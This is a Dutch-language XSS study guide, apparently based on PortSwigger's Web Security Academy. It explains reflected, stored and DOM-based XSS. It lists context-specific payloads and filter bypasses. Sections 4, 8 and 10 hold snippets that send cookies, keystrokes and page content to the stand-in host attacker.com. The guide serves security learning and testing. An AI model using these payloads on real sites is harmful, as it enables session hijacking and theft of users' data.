Skip to content

Cross-Site Scripting (XSS)

Bron: PortSwigger Web Security Academy
Auteur: Johan Beysen


1. Wat is XSS?

Cross-Site Scripting (XSS) laat een aanvaller toe om kwaadaardige scripts te injecteren in webpagina's die door andere gebruikers worden bekeken. De browser van het slachtoffer voert het script uit alsof het van de legitieme site afkomstig is.

Dit kan leiden tot:

  • Stelen van sessiecookies en tokens
  • Overnemen van gebruikersacties (keylogging, formulieren)
  • Phishing en credential harvesting
  • Aanpassen van pagina-inhoud (defacement)
  • Uitvoeren van CSRF-aanvallen namens het slachtoffer

Verschil met SQLi

XSS richt zich op de browser van het slachtoffer — SQLi richt zich op de databaseserver. XSS is een client-side aanval; de server wordt niet rechtstreeks gecompromitteerd.


2. XSS Detecteren

Manuele detectie via een systematische aanpak op elk entry point:

Stap Wat je doet
1 Injecteer een unieke benigne string: xsstest1234
2 Zoek de reflectie terug in de HTTP-response
3 Bepaal de context (HTML, attribuut, JS, URL)
4 Test een aangepaste payload voor die context
5 Bevestig uitvoering via alert(), print() of console.log()

Burp Scanner

Burp Scanner detecteert de meeste XSS-kwetsbaarheden automatisch. Manueel testen is nuttig om de context en impact te begrijpen.

alert() geblokkeerd?

Sommige moderne browsers blokkeren alert() in sandboxed iframes. Gebruik dan print() of console.log() als alternatief.


3. Reflected XSS

De payload komt uit de HTTP-request. De applicatie verwerkt de invoer en stuurt hem ongesaniteerd terug in de directe response.

https://insecure-website.com/search?q=<script>alert(1)</script>

De server genereert:

<p>Zoekresultaten voor: <script>alert(1)</script></p>

De browser voert het script uit.

Vereiste interactie

Reflected XSS vereist dat het slachtoffer op een speciaal gecraftte link klikt. Aanvallers verspreiden die links via phishing, forums of URL-shorteners.

Meest voorkomend in: zoekresultaten, foutmeldingen, URL-parameters, formuliervalidatie.


4. Stored XSS

De payload wordt opgeslagen in de database en bij elke pageview van andere gebruikers uitgevoerd. Geen interactie met een link vereist.

<!-- Aanvaller plaatst in een commentaarveld: -->
Geweldig artikel! <script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Bij elke bezoeker die de pagina laadt, wordt het script uitgevoerd.

Meest gevaarlijk

Stored XSS is persistenter en gevaarlijker dan Reflected XSS. Één injectie kan alle toekomstige bezoekers treffen — inclusief admins.

Meest voorkomend in: reacties, forumberichten, gebruikersprofielen, productnamen, log-viewers.


5. DOM-based XSS

De kwetsbaarheid zit in de client-side JavaScript. Aanvallerdata wordt gelezen vanuit een source en zonder sanitisatie geschreven naar een gevaarlijke sink.

5.1 Sources (aanvallersdata ingangspunten)

document.URL
document.location
document.location.search
document.location.hash
document.referrer
window.name

5.2 Sinks (gevaarlijke schrijffuncties)

Sink Risico
document.write() HTML injectie
innerHTML HTML injectie
eval() JavaScript uitvoering
setTimeout() / setInterval() JavaScript uitvoering
element.src Script/resource loading
location.href Navigatie naar javascript: URL

5.3 Voorbeeld

// Kwetsbare code — schrijft URL-hash rechtstreeks naar DOM
document.getElementById('output').innerHTML = decodeURIComponent(location.hash.slice(1));

Payload in URL:

https://insecure-website.com/page#<img src=1 onerror=alert(1)>

DOM XSS vs Reflected/Stored

Bij DOM XSS verlaat de payload de browser nooit — ze zit volledig in de URL of client-side state. Proxy's en scanners die alleen server-responses bekijken missen dit type.


6. XSS Contexts & Payloads

6.1 HTML Context

Reflectie tussen HTML-tags:

<!-- Invoer verschijnt hier: -->
<p>Welkom, INVOER</p>
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>

6.2 HTML Attribuut Context

Reflectie binnen een attribuutwaarde:

<input value="INVOER">
<a href="INVOER">
" onmouseover="alert(1)
" autofocus onfocus="alert(1)
" onblur="alert(1)" autofocus="
javascript:alert(1)
onmouseover=alert(1)

6.3 JavaScript String Context

Reflectie in een JavaScript-string:

var input = 'INVOER';
var input = "INVOER";
'; alert(1)//
'-alert(1)-'
"; alert(1)//
${alert(1)}
</script><script>alert(1)</script>

6.4 URL Context

Reflectie in een href of src attribuut:

<a href="INVOER">klik</a>
javascript:alert(1)

URL-encoding

javascript:alert(1) moet correct URL-encoded zijn in sommige contexten. Test ook JaVaScRiPt:alert(1) als filter aanwezig is.


7. Filter Bypasses

7.1 Case Mixing

<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x OnErRoR=alert(1)>

7.2 Alternatieve Tags

<svg/onload=alert(1)>
<details/open/ontoggle=alert(1)>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
<math><mtext></table><img src=1 onerror=alert(1)>

7.3 Event Handler Varianten

Als onerror en onload geblokkeerd zijn:

onfocus      onblur       onmouseover   onmouseout
onkeydown    onkeyup      onkeypress    onclick
onpointerover ontouchstart onanimationend

7.4 Character Encoding

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
eval('\x61\x6c\x65\x72\x74\x28\x31\x29')
eval('\141\154\145\162\164\050\061\051')

7.5 Spaties Omzeilen

<svg/onload=alert(1)>
<img/src/onerror=alert(1)>
<script>alert`1`</script>

7.6 Quotes Omzeilen

<img src=x onerror=alert(1)>
<script>alert(String.fromCharCode(88,83,83))</script>

PortSwigger XSS Cheat Sheet

De PortSwigger XSS cheat sheet bevat honderden geteste payloads per browser en context. Zie sectie 8.


8. Impact & Exploitatie

document.location='https://attacker.com/steal?c='+document.cookie

of via fetch (stealthier):

fetch('https://attacker.com/steal?c='+btoa(document.cookie))

8.2 Session Token via XHR

var xhr = new XMLHttpRequest();
xhr.open('GET','https://attacker.com/?token='+document.cookie);
xhr.send();

8.3 Keylogger

document.addEventListener('keypress',function(e){
  fetch('https://attacker.com/key?k='+e.key)
})

8.4 Pagina-inhoud Exfiltreren

fetch('https://attacker.com/exfil?data='+btoa(document.body.innerHTML))

8.5 Admin-actie Uitvoeren (CSRF via XSS)

// Wachtwoord wijzigen als admin
fetch('/my-account/change-password', {
  method: 'POST',
  body: 'password=hacked&confirm=hacked'
})

HttpOnly cookie

Als de sessiecookie HttpOnly is, kan JavaScript document.cookie niet uitlezen. Maar je kan nog steeds acties uitvoeren namens het slachtoffer via CSRF-aanvallen vanuit de XSS-context.


9. DOM XSS — Stap-voor-Stap Aanpak

Stap 1 — Source identificeren

Zoek in de JavaScript-code welke source de aanvallerdata bevat:

// Meest voorkomende sources
location.search      // URL query string
location.hash        // URL fragment (#...)
document.referrer    // Verwijzende URL
window.name          // Window naam
Stap 2 — Sink identificeren

Zoek waar de source-data terechtkomt:

// Gevaarlijke sinks
document.write(source)
element.innerHTML = source
eval(source)
location.href = source
element.src = source
Stap 3 — Payload aanpassen aan sink
// innerHTML sink
<img src=1 onerror=alert(1)>

// document.write sink
<script>alert(1)</script>

// eval() sink
alert(1)

// location.href sink
javascript:alert(1)
Stap 4 — Context valideren

Controleer of de sink de data nog eens transformeert (encode, decode, trim) voor je payload aanpast.


10. XSS Cheat Sheet

Basis Payloads

Context Payload
HTML <script>alert(1)</script>
HTML <img src=x onerror=alert(1)>
HTML <svg onload=alert(1)>
Attribuut " onmouseover="alert(1)
Attribuut " autofocus onfocus="alert(1)
JS String '; alert(1)//
JS Template ${alert(1)}
href javascript:alert(1)

Cookiediefstal Payloads

Methode Payload
Redirect <script>document.location='https://attacker.com/?c='+document.cookie</script>
Fetch <script>fetch('https://attacker.com/?c='+btoa(document.cookie))</script>
Img <img src=x onerror="this.src='https://attacker.com/?c='+document.cookie">

DOM Sinks vs Payloads

Sink Payload
innerHTML <img src=1 onerror=alert(1)>
document.write() <script>alert(1)</script>
eval() alert(1)
setTimeout() alert(1)
location.href javascript:alert(1)
element.src javascript:alert(1)

Bypasses Samenvatting

Filter Bypass
<script> geblokkeerd <img src=x onerror=alert(1)>
Lowercase geblokkeerd <ScRiPt>alert(1)</sCrIpT>
onerror geblokkeerd onfocus autofocus / onmouseover
Aanhalingstekens geblokkeerd onerror=alert(1) (zonder quotes)
Spaties geblokkeerd <svg/onload=alert(1)>
alert geblokkeerd print() / confirm() / console.log()